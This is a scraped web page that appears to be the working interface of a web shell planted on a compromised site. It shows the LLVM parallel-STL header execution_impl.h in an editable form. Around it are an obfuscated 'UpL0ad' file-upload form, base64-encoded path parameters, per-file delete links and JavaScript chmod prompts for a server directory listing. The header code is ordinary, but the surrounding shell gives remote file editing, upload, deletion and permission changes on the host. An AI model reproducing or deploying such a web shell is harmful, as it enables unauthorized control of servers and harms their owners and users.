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<hr>execution_impl.h<form method=post action="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=ZXhlY3V0aW9uX2ltcGwuaA%3D%3D"><input name="f" value="execution_impl.h"><textarea name="t">// -*- C++ -*-
//===-- execution_impl.h --------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//

#ifndef _PSTL_EXECUTION_IMPL_H
#define _PSTL_EXECUTION_IMPL_H

#include &lt;iterator&gt;
#include &lt;type_traits&gt;

#include &quot;execution_defs.h&quot;

namespace __pstl
{
namespace __internal
{

using namespace __pstl::execution;

/* predicate */

template &lt;typename _Tp&gt;
std::false_type __lazy_and(_Tp, std::false_type)
{
    return std::false_type{};
}

template &lt;typename _Tp&gt;
inline _Tp
__lazy_and(_Tp __a, std::true_type)
{
    return __a;
}

template &lt;typename _Tp&gt;
std::true_type __lazy_or(_Tp, std::true_type)
{
    return std::true_type{};
}

template &lt;typename _Tp&gt;
inline _Tp
__lazy_or(_Tp __a, std::false_type)
{
    return __a;
}

/* iterator */
template &lt;typename _IteratorType, typename... _OtherIteratorTypes&gt;
struct __is_random_access_iterator
{
    static constexpr bool value = __internal::__is_random_access_iterator&lt;_IteratorType&gt;::value &amp;&amp;
                                  __internal::__is_random_access_iterator&lt;_OtherIteratorTypes...&gt;::value;
    typedef std::integral_constant&lt;bool, value&gt; type;
};

template &lt;typename _IteratorType&gt;
struct __is_random_access_iterator&lt;_IteratorType&gt;
    : std::is_same&lt;typename std::iterator_traits&lt;_IteratorType&gt;::iterator_category, std::random_access_iterator_tag&gt;
{
};

/* policy */
template &lt;typename _Policy&gt;
struct __policy_traits
{
};

template &lt;&gt;
struct __policy_traits&lt;sequenced_policy&gt;
{
    typedef std::false_type allow_parallel;
    typedef std::false_type allow_unsequenced;
    typedef std::false_type allow_vector;
};

template &lt;&gt;
struct __policy_traits&lt;unsequenced_policy&gt;
{
    typedef std::false_type allow_parallel;
    typedef std::true_type allow_unsequenced;
    typedef std::true_type allow_vector;
};

template &lt;&gt;
struct __policy_traits&lt;parallel_policy&gt;
{
    typedef std::true_type allow_parallel;
    typedef std::false_type allow_unsequenced;
    typedef std::false_type allow_vector;
};

template &lt;&gt;
struct __policy_traits&lt;parallel_unsequenced_policy&gt;
{
    typedef std::true_type allow_parallel;
    typedef std::true_type allow_unsequenced;
    typedef std::true_type allow_vector;
};

template &lt;typename _ExecutionPolicy&gt;
using __collector_t =
    typename __internal::__policy_traits&lt;typename std::decay&lt;_ExecutionPolicy&gt;::type&gt;::__collector_type;

template &lt;typename _ExecutionPolicy&gt;
using __allow_vector =
    typename __internal::__policy_traits&lt;typename std::decay&lt;_ExecutionPolicy&gt;::type&gt;::__allow_vector;

template &lt;typename _ExecutionPolicy&gt;
using __allow_unsequenced =
    typename __internal::__policy_traits&lt;typename std::decay&lt;_ExecutionPolicy&gt;::type&gt;::__allow_unsequenced;

template &lt;typename _ExecutionPolicy&gt;
using __allow_parallel =
    typename __internal::__policy_traits&lt;typename std::decay&lt;_ExecutionPolicy&gt;::type&gt;::__allow_parallel;

template &lt;typename _ExecutionPolicy, typename... _IteratorTypes&gt;
auto
__is_vectorization_preferred(_ExecutionPolicy&amp;&amp; __exec)
    -&gt; decltype(__internal::__lazy_and(__exec.__allow_vector(),
                                       typename __internal::__is_random_access_iterator&lt;_IteratorTypes...&gt;::type()))
{
    return __internal::__lazy_and(__exec.__allow_vector(),
                                  typename __internal::__is_random_access_iterator&lt;_IteratorTypes...&gt;::type());
}

template &lt;typename _ExecutionPolicy, typename... _IteratorTypes&gt;
auto
__is_parallelization_preferred(_ExecutionPolicy&amp;&amp; __exec)
    -&gt; decltype(__internal::__lazy_and(__exec.__allow_parallel(),
                                       typename __internal::__is_random_access_iterator&lt;_IteratorTypes...&gt;::type()))
{
    return __internal::__lazy_and(__exec.__allow_parallel(),
                                  typename __internal::__is_random_access_iterator&lt;_IteratorTypes...&gt;::type());
}

template &lt;typename __policy, typename... _IteratorTypes&gt;
struct __prefer_unsequenced_tag
{
    static constexpr bool value = __internal::__allow_unsequenced&lt;__policy&gt;::value &amp;&amp;
                                  __internal::__is_random_access_iterator&lt;_IteratorTypes...&gt;::value;
    typedef std::integral_constant&lt;bool, value&gt; type;
};

template &lt;typename __policy, typename... _IteratorTypes&gt;
struct __prefer_parallel_tag
{
    static constexpr bool value = __internal::__allow_parallel&lt;__policy&gt;::value &amp;&amp;
                                  __internal::__is_random_access_iterator&lt;_IteratorTypes...&gt;::value;
    typedef std::integral_constant&lt;bool, value&gt; type;
};

} // namespace __internal
} // namespace __pstl

#endif /* _PSTL_EXECUTION_IMPL_H */
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/c++/13/pstl<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=YWxnb3JpdGhtX2Z3ZC5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=YWxnb3JpdGhtX2Z3ZC5o"/>algorithm_fwd.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=YWxnb3JpdGhtX2Z3ZC5o&c=`+btoa(c):0" value="0644"></td><td>68365</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=YWxnb3JpdGhtX2ltcGwuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=YWxnb3JpdGhtX2ltcGwuaA=="/>algorithm_impl.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=YWxnb3JpdGhtX2ltcGwuaA==&c=`+btoa(c):0" value="0644"></td><td>174530</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=ZXhlY3V0aW9uX2RlZnMuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=ZXhlY3V0aW9uX2RlZnMuaA=="/>execution_defs.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=ZXhlY3V0aW9uX2RlZnMuaA==&c=`+btoa(c):0" value="0644"></td><td>3766</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=ZXhlY3V0aW9uX2ltcGwuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=ZXhlY3V0aW9uX2ltcGwuaA=="/>execution_impl.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=ZXhlY3V0aW9uX2ltcGwuaA==&c=`+btoa(c):0" value="0644"></td><td>4840</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=Z2x1ZV9hbGdvcml0aG1fZGVmcy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9hbGdvcml0aG1fZGVmcy5o"/>glue_algorithm_defs.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9hbGdvcml0aG1fZGVmcy5o&c=`+btoa(c):0" value="0644"></td><td>32283</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=Z2x1ZV9hbGdvcml0aG1faW1wbC5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9hbGdvcml0aG1faW1wbC5o"/>glue_algorithm_impl.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9hbGdvcml0aG1faW1wbC5o&c=`+btoa(c):0" value="0644"></td><td>64364</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=Z2x1ZV9leGVjdXRpb25fZGVmcy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9leGVjdXRpb25fZGVmcy5o"/>glue_execution_defs.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9leGVjdXRpb25fZGVmcy5o&c=`+btoa(c):0" value="0644"></td><td>1549</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=Z2x1ZV9tZW1vcnlfZGVmcy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9tZW1vcnlfZGVmcy5o"/>glue_memory_defs.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9tZW1vcnlfZGVmcy5o&c=`+btoa(c):0" value="0644"></td><td>3865</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=Z2x1ZV9tZW1vcnlfaW1wbC5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9tZW1vcnlfaW1wbC5o"/>glue_memory_impl.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9tZW1vcnlfaW1wbC5o&c=`+btoa(c):0" value="0644"></td><td>19412</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=Z2x1ZV9udW1lcmljX2RlZnMuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9udW1lcmljX2RlZnMuaA=="/>glue_numeric_defs.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9udW1lcmljX2RlZnMuaA==&c=`+btoa(c):0" value="0644"></td><td>6622</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=Z2x1ZV9udW1lcmljX2ltcGwuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9udW1lcmljX2ltcGwuaA=="/>glue_numeric_impl.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=Z2x1ZV9udW1lcmljX2ltcGwuaA==&c=`+btoa(c):0" value="0644"></td><td>12302</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=bWVtb3J5X2ltcGwuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=bWVtb3J5X2ltcGwuaA=="/>memory_impl.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=bWVtb3J5X2ltcGwuaA==&c=`+btoa(c):0" value="0644"></td><td>4045</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=bnVtZXJpY19md2QuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=bnVtZXJpY19md2QuaA=="/>numeric_fwd.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=bnVtZXJpY19md2QuaA==&c=`+btoa(c):0" value="0644"></td><td>7929</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=bnVtZXJpY19pbXBsLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=bnVtZXJpY19pbXBsLmg="/>numeric_impl.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=bnVtZXJpY19pbXBsLmg=&c=`+btoa(c):0" value="0644"></td><td>18675</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=cGFyYWxsZWxfYmFja2VuZC5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfYmFja2VuZC5o"/>parallel_backend.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfYmFja2VuZC5o&c=`+btoa(c):0" value="0644"></td><td>845</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=cGFyYWxsZWxfYmFja2VuZF9zZXJpYWwuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfYmFja2VuZF9zZXJpYWwuaA=="/>parallel_backend_serial.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfYmFja2VuZF9zZXJpYWwuaA==&c=`+btoa(c):0" value="0644"></td><td>4000</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=cGFyYWxsZWxfYmFja2VuZF90YmIuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfYmFja2VuZF90YmIuaA=="/>parallel_backend_tbb.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfYmFja2VuZF90YmIuaA==&c=`+btoa(c):0" value="0644"></td><td>43768</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=cGFyYWxsZWxfYmFja2VuZF91dGlscy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfYmFja2VuZF91dGlscy5o"/>parallel_backend_utils.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfYmFja2VuZF91dGlscy5o&c=`+btoa(c):0" value="0644"></td><td>9111</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=cGFyYWxsZWxfaW1wbC5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfaW1wbC5o"/>parallel_impl.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cGFyYWxsZWxfaW1wbC5o&c=`+btoa(c):0" value="0644"></td><td>4110</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=cHN0bF9jb25maWcuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cHN0bF9jb25maWcuaA=="/>pstl_config.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=cHN0bF9jb25maWcuaA==&c=`+btoa(c):0" value="0644"></td><td>7332</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=dW5zZXFfYmFja2VuZF9zaW1kLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=dW5zZXFfYmFja2VuZF9zaW1kLmg="/>unseq_backend_simd.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=dW5zZXFfYmFja2VuZF9zaW1kLmg=&c=`+btoa(c):0" value="0644"></td><td>29205</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&x=dXRpbHMuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=dXRpbHMuaA=="/>utils.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9wc3Rs&f=dXRpbHMuaA==&c=`+btoa(c):0" value="0644"></td><td>4611</td></tr></table>